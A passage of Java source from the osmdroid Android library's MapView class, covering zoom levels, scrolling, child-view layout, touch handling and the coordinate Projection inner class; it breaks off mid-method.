import org.osmdroid.util.constants.GeoConstants;
import org.osmdroid.views.overlay.Overlay;
import org.osmdroid.views.overlay.OverlayManager;
import org.osmdroid.views.overlay.TilesOverlay;
import org.osmdroid.views.util.constants.MapViewConstants;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Matrix;
import android.graphics.Point;
import android.graphics.Rect;
import android.os.Handler;
import android.util.AttributeSet;
import android.view.GestureDetector;
import android.view.GestureDetector.OnGestureListener;
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
import android.view.animation.Animation;
import android.view.animation.ScaleAnimation;
import android.widget.Scroller;
public class MapView extends ViewGroup implements IMapView, MapViewConstants,
MultiTouchObjectCanvas<Object> {
// Constants
private static final Logger logger = LoggerFactory.getLogger(MapView.class);
private static final double ZOOM_SENSITIVITY = 1.3;
private static final double ZOOM_LOG_BASE_INV = 1.0 / Math.log(2.0 / ZOOM_SENSITIVITY);
// Fields
/** Current zoom level for map tiles. */
private int mZoomLevel = 0;
private final OverlayManager mOverlayManager;
private Projection mProjection;
private final TilesOverlay mMapOverlay;
private final GestureDetector mGestureDetector;
/** Handles map scrolling */
private final Scroller mScroller;
private final AtomicInteger mTargetZoomLevel = new AtomicInteger();
private final AtomicBoolean mIsAnimating = new AtomicBoolean(false);
private final ScaleAnimation mZoomInAnimation;
private final ScaleAnimation mZoomOutAnimation;
private final MapController mController;
// XXX we can use android.widget.ZoomButtonsController if we upgrade the
// dependency to Android 1.6
private final ZoomButtonsController mZoomController;
private boolean mEnableZoomController = false;
private final ResourceProxy mResourceProxy;
private MultiTouchController<Object> mMultiTouchController;
private float mMultiTouchScale = 1.0f;
protected MapListener mListener;
// for speed (avoiding allocations)
private final Matrix mMatrix = new Matrix();
private final MapTileProviderBase mTileProvider;
private final Handler mTileRequestCompleteHandler;
/* a point that will be reused to design added views */
private final Point mPoint = new Point();
// Constructors
private MapView(final Context context, final int tileSizePixels,
final ResourceProxy resourceProxy, MapTileProviderBase tileProvider,
final Handler tileRequestCompleteHandler, final AttributeSet attrs) {
super(context, attrs);
mResourceProxy = resourceProxy;
this.mController = new MapController(this);
this.mScroller = new Scroller(context);
TileSystem.setTileSize(tileSizePixels);
if (tileProvider == null) {
final ITileSource tileSource = getTileSourceFromAttributes(attrs);
tileProvider = new MapTileProviderBasic(context, tileSource);
}
mTileRequestCompleteHandler = tileRequestCompleteHandler == null ? new SimpleInvalidationHandler(
this) : tileRequestCompleteHandler;
mTileProvider = tileProvider;
mTileProvider.setTileRequestCompleteHandler(mTileRequestCompleteHandler);
this.mMapOverlay = new TilesOverlay(mTileProvider, mResourceProxy);
mOverlayManager = new OverlayManager(mMapOverlay);
this.mZoomController = new ZoomButtonsController(this);
this.mZoomController.setOnZoomListener(new MapViewZoomListener());
mZoomInAnimation = new ScaleAnimation(1, 2, 1, 2, Animation.RELATIVE_TO_SELF, 0.5f,
Animation.RELATIVE_TO_SELF, 0.5f);
mZoomOutAnimation = new ScaleAnimation(1, 0.5f, 1, 0.5f, Animation.RELATIVE_TO_SELF, 0.5f,
Animation.RELATIVE_TO_SELF, 0.5f);
mZoomInAnimation.setDuration(ANIMATION_DURATION_SHORT);
mZoomOutAnimation.setDuration(ANIMATION_DURATION_SHORT);
mGestureDetector = new GestureDetector(context, new MapViewGestureDetectorListener());
mGestureDetector.setOnDoubleTapListener(new MapViewDoubleClickListener());
}
/**
* Constructor used by XML layout resource (uses default tile source).
*/
public MapView(final Context context, final AttributeSet attrs) {
this(context, 256, new DefaultResourceProxyImpl(context), null, null, attrs);
}
/**
* Standard Constructor.
*/
public MapView(final Context context, final int tileSizePixels) {
this(context, tileSizePixels, new DefaultResourceProxyImpl(context));
}
public MapView(final Context context, final int tileSizePixels,
final ResourceProxy resourceProxy) {
this(context, tileSizePixels, resourceProxy, null);
}
public MapView(final Context context, final int tileSizePixels,
final ResourceProxy resourceProxy, final MapTileProviderBase aTileProvider) {
this(context, tileSizePixels, resourceProxy, aTileProvider, null);
}
public MapView(final Context context, final int tileSizePixels,
final ResourceProxy resourceProxy, final MapTileProviderBase aTileProvider,
final Handler tileRequestCompleteHandler) {
this(context, tileSizePixels, resourceProxy, aTileProvider, tileRequestCompleteHandler,
null);
}
// Getter & Setter
@Override
public MapController getController() {
return this.mController;
}
/**
* You can add/remove/reorder your Overlays using the List of {@link Overlay}. The first (index
* 0) Overlay gets drawn first, the one with the highest as the last one.
*/
public List<Overlay> getOverlays() {
return this.getOverlayManager();
}
public OverlayManager getOverlayManager() {
return mOverlayManager;
}
public MapTileProviderBase getTileProvider() {
return mTileProvider;
}
public Scroller getScroller() {
return mScroller;
}
public Handler getTileRequestCompleteHandler() {
return mTileRequestCompleteHandler;
}
@Override
public int getLatitudeSpan() {
return this.getBoundingBox().getLatitudeSpanE6();
}
@Override
public int getLongitudeSpan() {
return this.getBoundingBox().getLongitudeSpanE6();
}
public BoundingBoxE6 getBoundingBox() {
return getBoundingBox(getWidth(), getHeight());
}
public BoundingBoxE6 getBoundingBox(final int pViewWidth, final int pViewHeight) {
final int world_2 = TileSystem.MapSize(mZoomLevel) / 2;
final Rect screenRect = getScreenRect(null);
screenRect.offset(world_2, world_2);
final IGeoPoint neGeoPoint = TileSystem.PixelXYToLatLong(screenRect.right, screenRect.top,
mZoomLevel, null);
final IGeoPoint swGeoPoint = TileSystem.PixelXYToLatLong(screenRect.left,
screenRect.bottom, mZoomLevel, null);
return new BoundingBoxE6(neGeoPoint.getLatitudeE6(), neGeoPoint.getLongitudeE6(),
swGeoPoint.getLatitudeE6(), swGeoPoint.getLongitudeE6());
}
/**
* Gets the current bounds of the screen in <I>screen coordinates</I>.
*/
public Rect getScreenRect(final Rect reuse) {
final Rect out = reuse == null ? new Rect() : reuse;
out.set(getScrollX() - getWidth() / 2, getScrollY() - getHeight() / 2, getScrollX()
+ getWidth() / 2, getScrollY() + getHeight() / 2);
return out;
}
/**
* Get a projection for converting between screen-pixel coordinates and latitude/longitude
* coordinates. You should not hold on to this object for more than one draw, since the
* projection of the map could change.
*
* @return The Projection of the map in its current state. You should not hold on to this object
* for more than one draw, since the projection of the map could change.
*/
@Override
public Projection getProjection() {
if (mProjection == null) {
mProjection = new Projection();
}
return mProjection;
}
void setMapCenter(final IGeoPoint aCenter) {
this.setMapCenter(aCenter.getLatitudeE6(), aCenter.getLongitudeE6());
}
void setMapCenter(final int aLatitudeE6, final int aLongitudeE6) {
final Point coords = TileSystem.LatLongToPixelXY(aLatitudeE6 / 1E6, aLongitudeE6 / 1E6,
getZoomLevel(), null);
final int worldSize_2 = TileSystem.MapSize(mZoomLevel) / 2;
if (getAnimation() == null || getAnimation().hasEnded()) {
logger.debug("StartScroll");
mScroller.startScroll(getScrollX(), getScrollY(),
coords.x - worldSize_2 - getScrollX(), coords.y - worldSize_2 - getScrollY(),
500);
postInvalidate();
}
}
public void setTileSource(final ITileSource aTileSource) {
mTileProvider.setTileSource(aTileSource);
TileSystem.setTileSize(aTileSource.getTileSizePixels());
this.checkZoomButtons();
this.setZoomLevel(mZoomLevel); // revalidate zoom level
postInvalidate();
}
/**
* @param aZoomLevel
* the zoom level bound by the tile source
*/
int setZoomLevel(final int aZoomLevel) {
final int minZoomLevel = getMinZoomLevel();
final int maxZoomLevel = getMaxZoomLevel();
final int newZoomLevel = Math.max(minZoomLevel, Math.min(maxZoomLevel, aZoomLevel));
final int curZoomLevel = this.mZoomLevel;
this.mZoomLevel = newZoomLevel;
this.checkZoomButtons();
if (newZoomLevel > curZoomLevel) {
// We are going from a lower-resolution plane to a higher-resolution plane, so we have
// to do it the hard way.
final int worldSize_current_2 = TileSystem.MapSize(curZoomLevel) / 2;
final int worldSize_new_2 = TileSystem.MapSize(newZoomLevel) / 2;
final IGeoPoint centerGeoPoint = TileSystem.PixelXYToLatLong(getScrollX()
+ worldSize_current_2, getScrollY() + worldSize_current_2, curZoomLevel, null);
final Point centerPoint = TileSystem.LatLongToPixelXY(
centerGeoPoint.getLatitudeE6() / 1E6, centerGeoPoint.getLongitudeE6() / 1E6,
newZoomLevel, null);
scrollTo(centerPoint.x - worldSize_new_2, centerPoint.y - worldSize_new_2);
} else if (newZoomLevel < curZoomLevel) {
// We are going from a higher-resolution plane to a lower-resolution plane, so we can do
// it the easy way.
scrollTo(getScrollX() >> curZoomLevel - newZoomLevel, getScrollY() >> curZoomLevel
- newZoomLevel);
}
// snap for all snappables
final Point snapPoint = new Point();
// XXX why do we need a new projection here?
mProjection = new Projection();
if (this.getOverlayManager().onSnapToItem(getScrollX(), getScrollY(), snapPoint, this)) {
scrollTo(snapPoint.x, snapPoint.y);
}
// do callback on listener
if (newZoomLevel != curZoomLevel && mListener != null) {
final ZoomEvent event = new ZoomEvent(this, newZoomLevel);
mListener.onZoom(event);
}
return this.mZoomLevel;
}
/**
* Zoom the map to enclose the specified bounding box, as closely as possible.
* Must be called after display layout is complete, or screen dimensions are not known, and
* will always zoom to center of zoom level 0.
* Suggestion: Check getScreenRect(null).getHeight() > 0
*/
public void zoomToBoundingBox(final BoundingBoxE6 boundingBox) {
BoundingBoxE6 currentBox = getBoundingBox();
// Calculated required zoom based on latitude span
double maxZoomLatitudeSpan = (mZoomLevel == getMaxZoomLevel() ?
currentBox.getLatitudeSpanE6() :
currentBox.getLatitudeSpanE6() / Math.pow(2, (getMaxZoomLevel() - mZoomLevel)));
double requiredLatitudeZoom =
getMaxZoomLevel() -
Math.ceil(Math.log(boundingBox.getLatitudeSpanE6() / maxZoomLatitudeSpan) / Math.log(2));
// Calculated required zoom based on longitude span
double maxZoomLongitudeSpan = (mZoomLevel == getMaxZoomLevel() ?
currentBox.getLongitudeSpanE6() :
currentBox.getLongitudeSpanE6() / Math.pow(2, (getMaxZoomLevel() - mZoomLevel)));
double requiredLongitudeZoom =
getMaxZoomLevel() -
Math.ceil(Math.log(boundingBox.getLongitudeSpanE6() / maxZoomLongitudeSpan) / Math.log(2));
// Zoom to boundingBox center, at calculated maximum allowed zoom level
getController().setZoom((int)(
requiredLatitudeZoom < requiredLongitudeZoom ?
requiredLatitudeZoom : requiredLongitudeZoom));
getController().setCenter(
new GeoPoint(
boundingBox.getCenter().getLatitudeE6()/1000000.0,
boundingBox.getCenter().getLongitudeE6()/1000000.0
));
}
/**
* Get the current ZoomLevel for the map tiles.
*
* @return the current ZoomLevel between 0 (equator) and 18/19(closest), depending on the tile
* source chosen.
*/
@Override
public int getZoomLevel() {
return getZoomLevel(true);
}
/**
* Get the current ZoomLevel for the map tiles.
*
* @param aPending
* if true and we're animating then return the zoom level that we're animating
* towards, otherwise return the current zoom level
* @return the zoom level
*/
public int getZoomLevel(final boolean aPending) {
if (aPending && isAnimating()) {
return mTargetZoomLevel.get();
} else {
return mZoomLevel;
}
}
/**
* Returns the minimum zoom level for the point currently at the center.
*
* @return The minimum zoom level for the map's current center.
*/
public int getMinZoomLevel() {
return mMapOverlay.getMinimumZoomLevel();
}
/**
* Returns the maximum zoom level for the point currently at the center.
*
* @return The maximum zoom level for the map's current center.
*/
@Override
public int getMaxZoomLevel() {
return mMapOverlay.getMaximumZoomLevel();
}
public boolean canZoomIn() {
final int maxZoomLevel = getMaxZoomLevel();
if (mZoomLevel >= maxZoomLevel) {
return false;
}
if (mIsAnimating.get() & mTargetZoomLevel.get() >= maxZoomLevel) {
return false;
}
return true;
}
public boolean canZoomOut() {
final int minZoomLevel = getMinZoomLevel();
if (mZoomLevel <= minZoomLevel) {
return false;
}
if (mIsAnimating.get() && mTargetZoomLevel.get() <= minZoomLevel) {
return false;
}
return true;
}
/**
* Zoom in by one zoom level.
*/
boolean zoomIn() {
if (canZoomIn()) {
if (mIsAnimating.get()) {
// TODO extend zoom (and return true)
return false;
} else {
mTargetZoomLevel.set(mZoomLevel + 1);
mIsAnimating.set(true);
startAnimation(mZoomInAnimation);
return true;
}
} else {
return false;
}
}
boolean zoomInFixing(final IGeoPoint point) {
setMapCenter(point); // TODO should fix on point, not center on it
return zoomIn();
}
boolean zoomInFixing(final int xPixel, final int yPixel) {
setMapCenter(xPixel, yPixel); // TODO should fix on point, not center on it
return zoomIn();
}
/**
* Zoom out by one zoom level.
*/
boolean zoomOut() {
if (canZoomOut()) {
if (mIsAnimating.get()) {
// TODO extend zoom (and return true)
return false;
} else {
mTargetZoomLevel.set(mZoomLevel - 1);
mIsAnimating.set(true);
startAnimation(mZoomOutAnimation);
return true;
}
} else {
return false;
}
}
boolean zoomOutFixing(final IGeoPoint point) {
setMapCenter(point); // TODO should fix on point, not center on it
return zoomOut();
}
boolean zoomOutFixing(final int xPixel, final int yPixel) {
setMapCenter(xPixel, yPixel); // TODO should fix on point, not center on it
return zoomOut();
}
/**
* Returns the current center-point position of the map, as a GeoPoint (latitude and longitude).
*
* @return A GeoPoint of the map's center-point.
*/
@Override
public IGeoPoint getMapCenter() {
final int world_2 = TileSystem.MapSize(mZoomLevel) / 2;
final Rect screenRect = getScreenRect(null);
screenRect.offset(world_2, world_2);
return TileSystem.PixelXYToLatLong(screenRect.centerX(), screenRect.centerY(), mZoomLevel,
null);
}
public ResourceProxy getResourceProxy() {
return mResourceProxy;
}
/**
* Whether to use the network connection if it's available.
*/
public boolean useDataConnection() {
return mMapOverlay.useDataConnection();
}
/**
* Set whether to use the network connection if it's available.
*
* @param aMode
* if true use the network connection if it's available. if false don't use the
* network connection even if it's available.
*/
public void setUseDataConnection(final boolean aMode) {
mMapOverlay.setUseDataConnection(aMode);
}
// Methods from SuperClass/Interfaces
/**
* Returns a set of layout parameters with a width of
* {@link android.view.ViewGroup.LayoutParams#WRAP_CONTENT}, a height of
* {@link android.view.ViewGroup.LayoutParams#WRAP_CONTENT} at the {@link GeoPoint} (0, 0) align
* with {@link MapView.LayoutParams#BOTTOM_CENTER}.
*/
@Override
protected ViewGroup.LayoutParams generateDefaultLayoutParams() {
return new MapView.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT,
ViewGroup.LayoutParams.WRAP_CONTENT, null, MapView.LayoutParams.BOTTOM_CENTER, 0, 0);
}
@Override
public ViewGroup.LayoutParams generateLayoutParams(final AttributeSet attrs) {
return new MapView.LayoutParams(getContext(), attrs);
}
// Override to allow type-checking of LayoutParams.
@Override
protected boolean checkLayoutParams(final ViewGroup.LayoutParams p) {
return p instanceof MapView.LayoutParams;
}
@Override
protected ViewGroup.LayoutParams generateLayoutParams(final ViewGroup.LayoutParams p) {
return new MapView.LayoutParams(p);
}
@Override
protected void onMeasure(final int widthMeasureSpec, final int heightMeasureSpec) {
final int count = getChildCount();
int maxHeight = 0;
int maxWidth = 0;
// Find out how big everyone wants to be
measureChildren(widthMeasureSpec, heightMeasureSpec);
// Find rightmost and bottom-most child
for (int i = 0; i < count; i++) {
final View child = getChildAt(i);
if (child.getVisibility() != GONE) {
final MapView.LayoutParams lp = (MapView.LayoutParams) child.getLayoutParams();
final int childHeight = child.getMeasuredHeight();
final int childWidth = child.getMeasuredWidth();
getProjection().toMapPixels(lp.geoPoint, mPoint);
final int x = mPoint.x + getWidth() / 2;
final int y = mPoint.y + getHeight() / 2;
int childRight = x;
int childBottom = y;
switch (lp.alignment) {
case MapView.LayoutParams.TOP_LEFT:
childRight = x + childWidth;
childBottom = y;
break;
case MapView.LayoutParams.TOP_CENTER:
childRight = x + childWidth / 2;
childBottom = y;
break;
case MapView.LayoutParams.TOP_RIGHT:
childRight = x;
childBottom = y;
break;
case MapView.LayoutParams.CENTER_LEFT:
childRight = x + childWidth;
childBottom = y + childHeight / 2;
break;
case MapView.LayoutParams.CENTER:
childRight = x + childWidth / 2;
childBottom = y + childHeight / 2;
break;
case MapView.LayoutParams.CENTER_RIGHT:
childRight = x;
childBottom = y + childHeight / 2;
break;
case MapView.LayoutParams.BOTTOM_LEFT:
childRight = x + childWidth;
childBottom = y + childHeight;
break;
case MapView.LayoutParams.BOTTOM_CENTER:
childRight = x + childWidth / 2;
childBottom = y + childHeight;
break;
case MapView.LayoutParams.BOTTOM_RIGHT:
childRight = x;
childBottom = y + childHeight;
break;
}
childRight += lp.offsetX;
childBottom += lp.offsetY;
maxWidth = Math.max(maxWidth, childRight);
maxHeight = Math.max(maxHeight, childBottom);
}
}
// Account for padding too
maxWidth += getPaddingLeft() + getPaddingRight();
maxHeight += getPaddingTop() + getPaddingBottom();
// Check against minimum height and width
maxHeight = Math.max(maxHeight, getSuggestedMinimumHeight());
maxWidth = Math.max(maxWidth, getSuggestedMinimumWidth());
setMeasuredDimension(resolveSize(maxWidth, widthMeasureSpec),
resolveSize(maxHeight, heightMeasureSpec));
}
@Override
protected void onLayout(final boolean changed, final int l, final int t, final int r,
final int b) {
final int count = getChildCount();
for (int i = 0; i < count; i++) {
final View child = getChildAt(i);
if (child.getVisibility() != GONE) {
final MapView.LayoutParams lp = (MapView.LayoutParams) child.getLayoutParams();
final int childHeight = child.getMeasuredHeight();
final int childWidth = child.getMeasuredWidth();
getProjection().toMapPixels(lp.geoPoint, mPoint);
final int x = mPoint.x + getWidth() / 2;
final int y = mPoint.y + getHeight() / 2;
int childLeft = x;
int childTop = y;
switch (lp.alignment) {
case MapView.LayoutParams.TOP_LEFT:
childLeft = getPaddingLeft() + x;
childTop = getPaddingTop() + y;
break;
case MapView.LayoutParams.TOP_CENTER:
childLeft = getPaddingLeft() + x - childWidth / 2;
childTop = getPaddingTop() + y;
break;
case MapView.LayoutParams.TOP_RIGHT:
childLeft = getPaddingLeft() + x - childWidth;
childTop = getPaddingTop() + y;
break;
case MapView.LayoutParams.CENTER_LEFT:
childLeft = getPaddingLeft() + x;
childTop = getPaddingTop() + y - childHeight / 2;
break;
case MapView.LayoutParams.CENTER:
childLeft = getPaddingLeft() + x - childWidth / 2;
childTop = getPaddingTop() + y - childHeight / 2;
break;
case MapView.LayoutParams.CENTER_RIGHT:
childLeft = getPaddingLeft() + x - childWidth;
childTop = getPaddingTop() + y - childHeight / 2;
break;
case MapView.LayoutParams.BOTTOM_LEFT:
childLeft = getPaddingLeft() + x;
childTop = getPaddingTop() + y - childHeight;
break;
case MapView.LayoutParams.BOTTOM_CENTER:
childLeft = getPaddingLeft() + x - childWidth / 2;
childTop = getPaddingTop() + y - childHeight;
break;
case MapView.LayoutParams.BOTTOM_RIGHT:
childLeft = getPaddingLeft() + x - childWidth;
childTop = getPaddingTop() + y - childHeight;
break;
}
childLeft += lp.offsetX;
childTop += lp.offsetY;
child.layout(childLeft, childTop, childLeft + childWidth, childTop + childHeight);
}
}
}
public void onDetach() {
this.getOverlayManager().onDetach(this);
}
@Override
public boolean onKeyDown(final int keyCode, final KeyEvent event) {
final boolean result = this.getOverlayManager().onKeyDown(keyCode, event, this);
return result || super.onKeyDown(keyCode, event);
}
@Override
public boolean onKeyUp(final int keyCode, final KeyEvent event) {
final boolean result = this.getOverlayManager().onKeyUp(keyCode, event, this);
return result || super.onKeyUp(keyCode, event);
}
@Override
public boolean onTrackballEvent(final MotionEvent event) {
if (this.getOverlayManager().onTrackballEvent(event, this)) {
return true;
}
scrollBy((int) (event.getX() * 25), (int) (event.getY() * 25));
return super.onTrackballEvent(event);
}
@Override
public boolean dispatchTouchEvent(final MotionEvent event) {
if (DEBUGMODE) {
logger.debug("dispatchTouchEvent(" + event + ")");
}
if (mZoomController.isVisible() && mZoomController.onTouch(this, event)) {
return true;
}
if (this.getOverlayManager().onTouchEvent(event, this)) {
return true;
}
if (mMultiTouchController != null && mMultiTouchController.onTouchEvent(event)) {
if (DEBUGMODE) {
logger.debug("mMultiTouchController handled onTouchEvent");
}
return true;
}
final boolean r = super.dispatchTouchEvent(event);
if (mGestureDetector.onTouchEvent(event)) {
if (DEBUGMODE) {
logger.debug("mGestureDetector handled onTouchEvent");
}
return true;
}
if (r) {
if (DEBUGMODE) {
logger.debug("super handled onTouchEvent");
}
} else {
if (DEBUGMODE) {
logger.debug("no-one handled onTouchEvent");
}
}
return r;
}
@Override
public void computeScroll() {
if (mScroller.computeScrollOffset()) {
if (mScroller.isFinished()) {
// This will facilitate snapping-to any Snappable points.
setZoomLevel(mZoomLevel);
} else {
scrollTo(mScroller.getCurrX(), mScroller.getCurrY());
}
postInvalidate(); // Keep on drawing until the animation has
// finished.
}
}
@Override
public void scrollTo(int x, int y) {
final int worldSize_2 = TileSystem.MapSize(mZoomLevel) / 2;
while (x < -worldSize_2) {
x += (worldSize_2 * 2);
}
while (x > worldSize_2) {
x -= (worldSize_2 * 2);
}
while (y < -worldSize_2) {
y += (worldSize_2 * 2);
}
while (y > worldSize_2) {
y -= (worldSize_2 * 2);
}
super.scrollTo(x, y);
// do callback on listener
if (mListener != null) {
final ScrollEvent event = new ScrollEvent(this, x, y);
mListener.onScroll(event);
}
}
@Override
public void setBackgroundColor(final int pColor) {
mMapOverlay.setLoadingBackgroundColor(pColor);
invalidate();
}
@Override
protected void dispatchDraw(final Canvas c) {
final long startMs = System.currentTimeMillis();
mProjection = new Projection();
// Save the current canvas matrix
c.save();
if (mMultiTouchScale == 1.0f) {
c.translate(getWidth() / 2, getHeight() / 2);
} else {
c.getMatrix(mMatrix);
mMatrix.postTranslate(getWidth() / 2, getHeight() / 2);
mMatrix.preScale(mMultiTouchScale, mMultiTouchScale, getScrollX(), getScrollY());
c.setMatrix(mMatrix);
}
/* Draw background */
// c.drawColor(mBackgroundColor);
/* Draw all Overlays. */
this.getOverlayManager().onDraw(c, this);
// Restore the canvas matrix
c.restore();
super.dispatchDraw(c);
final long endMs = System.currentTimeMillis();
if (DEBUGMODE) {
logger.debug("Rendering overall: " + (endMs - startMs) + "ms");
}
}
@Override
protected void onDetachedFromWindow() {
this.mZoomController.setVisible(false);
this.onDetach();
super.onDetachedFromWindow();
}
// Animation
@Override
protected void onAnimationStart() {
mIsAnimating.set(true);
super.onAnimationStart();
}
@Override
protected void onAnimationEnd() {
mIsAnimating.set(false);
clearAnimation();
setZoomLevel(mTargetZoomLevel.get());
super.onAnimationEnd();
}
/**
* Check mAnimationListener.isAnimating() to determine if view is animating. Useful for overlays
* to avoid recalculating during an animation sequence.
*
* @return boolean indicating whether view is animating.
*/
public boolean isAnimating() {
return mIsAnimating.get();
}
// Implementation of MultiTouchObjectCanvas
@Override
public Object getDraggableObjectAtPoint(final PointInfo pt) {
return this;
}
@Override
public void getPositionAndScale(final Object obj, final PositionAndScale objPosAndScaleOut) {
objPosAndScaleOut.set(0, 0, true, mMultiTouchScale, false, 0, 0, false, 0);
}
@Override
public void selectObject(final Object obj, final PointInfo pt) {
// if obj is null it means we released the pointers
// if scale is not 1 it means we pinched
if (obj == null && mMultiTouchScale != 1.0f) {
final float scaleDiffFloat = (float) (Math.log(mMultiTouchScale) * ZOOM_LOG_BASE_INV);
final int scaleDiffInt = Math.round(scaleDiffFloat);
setZoomLevel(mZoomLevel + scaleDiffInt);
// XXX maybe zoom in/out instead of zooming direct to zoom level
// - probably not a good idea because you'll repeat the animation
}
// reset scale
mMultiTouchScale = 1.0f;
}
@Override
public boolean setPositionAndScale(final Object obj, final PositionAndScale aNewObjPosAndScale,
final PointInfo aTouchPoint) {
float multiTouchScale = aNewObjPosAndScale.getScale();
// If we are at the first or last zoom level, prevent pinching/expanding
if ((multiTouchScale > 1) && !canZoomIn()) {
multiTouchScale = 1;
}
if ((multiTouchScale < 1) && !canZoomOut()) {
multiTouchScale = 1;
}
mMultiTouchScale = multiTouchScale;
invalidate(); // redraw
return true;
}
/*
* Set the MapListener for this view
*/
public void setMapListener(final MapListener ml) {
mListener = ml;
}
// Methods
private void checkZoomButtons() {
this.mZoomController.setZoomInEnabled(canZoomIn());
this.mZoomController.setZoomOutEnabled(canZoomOut());
}
public void setBuiltInZoomControls(final boolean on) {
this.mEnableZoomController = on;
this.checkZoomButtons();
}
public void setMultiTouchControls(final boolean on) {
mMultiTouchController = on ? new MultiTouchController<Object>(this, false) : null;
}
private ITileSource getTileSourceFromAttributes(final AttributeSet aAttributeSet) {
ITileSource tileSource = TileSourceFactory.DEFAULT_TILE_SOURCE;
if (aAttributeSet != null) {
final String tileSourceAttr = aAttributeSet.getAttributeValue(null, "tilesource");
if (tileSourceAttr != null) {
try {
final ITileSource r = TileSourceFactory.getTileSource(tileSourceAttr);
logger.info("Using tile source specified in layout attributes: " + r);
tileSource = r;
} catch (final IllegalArgumentException e) {
logger.warn("Invalid tile souce specified in layout attributes: " + tileSource);
}
}
}
if (aAttributeSet != null && tileSource instanceof IStyledTileSource) {
String style = aAttributeSet.getAttributeValue(null, "style");
if (style == null) {
// historic - old attribute name
style = aAttributeSet.getAttributeValue(null, "cloudmadeStyle");
}
if (style == null) {
logger.info("Using default style: 1");
} else {
logger.info("Using style specified in layout attributes: " + style);
((IStyledTileSource<?>) tileSource).setStyle(style);
}
}
logger.info("Using tile source: " + tileSource);
return tileSource;
}
// Inner and Anonymous Classes
/**
* A Projection serves to translate between the coordinate system of x/y on-screen pixel
* coordinates and that of latitude/longitude points on the surface of the earth. You obtain a
* Projection from MapView.getProjection(). You should not hold on to this object for more than
* one draw, since the projection of the map could change. <br />
* <br />
* <I>Screen coordinates</I> are in the coordinate system of the screen's Canvas. The origin is
* in the center of the plane. <I>Screen coordinates</I> are appropriate for using to draw to
* the screen.<br />
* <br />
* <I>Map coordinates</I> are in the coordinate system of the standard Mercator projection. The
* origin is in the upper-left corner of the plane. <I>Map coordinates</I> are appropriate for
* use in the TileSystem class.<br />
* <br />
* <I>Intermediate coordinates</I> are used to cache the computationally heavy part of the
* projection. They aren't suitable for use until translated into <I>screen coordinates</I> or
* <I>map coordinates</I>.
*
* @author Nicolas Gramlich
* @author Manuel Stahl
*/
public class Projection implements IProjection, GeoConstants {
private final int viewWidth_2 = getWidth() / 2;
private final int viewHeight_2 = getHeight() / 2;
private final int worldSize_2 = TileSystem.MapSize(mZoomLevel) / 2;
private final int offsetX = -worldSize_2;
private final int offsetY = -worldSize_2;
private final BoundingBoxE6 mBoundingBoxProjection;
private final int mZoomLevelProjection;
private final Rect mScreenRectProjection;
private Projection() {
/*
* Do some calculations and drag attributes to local variables to save some performance.
*/
mZoomLevelProjection = MapView.this.mZoomLevel;
mBoundingBoxProjection = MapView.this.getBoundingBox();
mScreenRectProjection = MapView.this.getScreenRect(null);
}
public int getZoomLevel() {
return mZoomLevelProjection;
}
public BoundingBoxE6 getBoundingBox() {
return mBoundingBoxProjection;
}
public Rect getScreenRect() {
return mScreenRectProjection;
}
/**
* @deprecated Use TileSystem.getTileSize() instead.
*/
@Deprecated
public int getTileSizePixels() {
return TileSystem.getTileSize();
}
/**
* @deprecated Use
* <code>Point out = TileSystem.PixelXYToTileXY(screenRect.centerX(), screenRect.centerY(), null);</code>
* instead.
*/
@Deprecated
public Point getCenterMapTileCoords() {
final Rect rect = getScreenRect();
return TileSystem.PixelXYToTileXY(rect.centerX(), rect.centerY(), null);
}
/**
* @deprecated Use
* <code>final Point out = TileSystem.TileXYToPixelXY(centerMapTileCoords.x, centerMapTileCoords.y, null);</code>
* instead.
*/
@Deprecated
public Point getUpperLeftCornerOfCenterMapTile() {
final Point centerMapTileCoords = getCenterMapTileCoords();
return TileSystem.TileXYToPixelXY(centerMapTileCoords.x, centerMapTileCoords.y, null);
}
/**
* Converts <I>screen coordinates</I> to the underlying GeoPoint.
*
* @param x
* @param y
* @return GeoPoint under x/y.
*/
public IGeoPoint fromPixels(final float x, final float y) {
final Rect screenRect = getScreenRect();
return TileSystem.PixelXYToLatLong(screenRect.left + (int) x + worldSize_2,
screenRect.top + (int) y + worldSize_2, mZoomLevelProjection, null);
}
public Point fromMapPixels(final int x, final int y, final Point reuse) {
final Point out = reuse != null ? reuse : new Point();
out.set(x - viewWidth_2, y - viewHeight_2);
out.offset(getScrollX(), getScrollY());
return out;
}
/**
* Converts a GeoPoint to its <I>screen coordinates</I>.
*
* @param in
* the GeoPoint you want the <I>screen coordinates</I> of
* @param reuse
* just pass null if you do not have a Point to be 'recycled'.
* @return the Point containing the <I>screen coordinates</I> of the GeoPoint passed.
*/
public Point toMapPixels(final IGeoPoint in, final Point reuse) {
final Point out = reuse != null ? reuse : new Point();
final Point coords = TileSystem.LatLongToPixelXY(in.getLatitudeE6() / 1E6,
in.getLongitudeE6() / 1E6, getZoomLevel(), null);
out.set(coords.x, coords.y);
out.offset(offsetX, offsetY);
return out;
}
/**
* Performs only the first computationally heavy part of the projection. Call
* toMapPixelsTranslated to get the final position.
*
* @param latituteE6
* the latitute of the point
* @param longitudeE6
* the longitude of the point
* @param reuse
* just pass null if you do not have a Point to be 'recycled'.
* @return intermediate value to be stored and passed to toMapPixelsTranslated.
*/
public Point toMapPixelsProjected(final int latituteE6, final int longitudeE6,
final Point reuse) {
final Point out = reuse != null ? reuse : new Point();
TileSystem
.LatLongToPixelXY(latituteE6 / 1E6, longitudeE6 / 1E6, MAXIMUM_ZOOMLEVEL, out);
return out;
}
/**
* Performs the second computationally light part of the projection. Returns results in
* <I>screen coordinates</I>.
*
* @param in
* the Point calculated by the toMapPixelsProjected
* @param reuse
* just pass null if you do not have a Point to be 'recycled'.
* @return the Point containing the <I>Screen coordinates</I> of the initial GeoPoint passed
* to the toMapPixelsProjected.
*/
public Point toMapPixelsTranslated(final Point in, final Point reuse) {
final Point out = reuse != null ? reuse : new Point();
final int zoomDifference = MAXIMUM_ZOOMLEVEL - getZoomLevel();
out.set((in.x >> zoomDifference) + offsetX, (in.y >> zoomDifference) + offsetY);
return out;
}
/**
* Translates a rectangle from <I>screen coordinates</I> to <I>intermediate coordinates</I>.
*
* @param in
* the rectangle in <I>screen coordinates</I>
* @return a rectangle in </I>intermediate coordindates</I>.
*/
public Rect fromPixelsToProjected(final Rect in) {
final Rect result = new Rect();
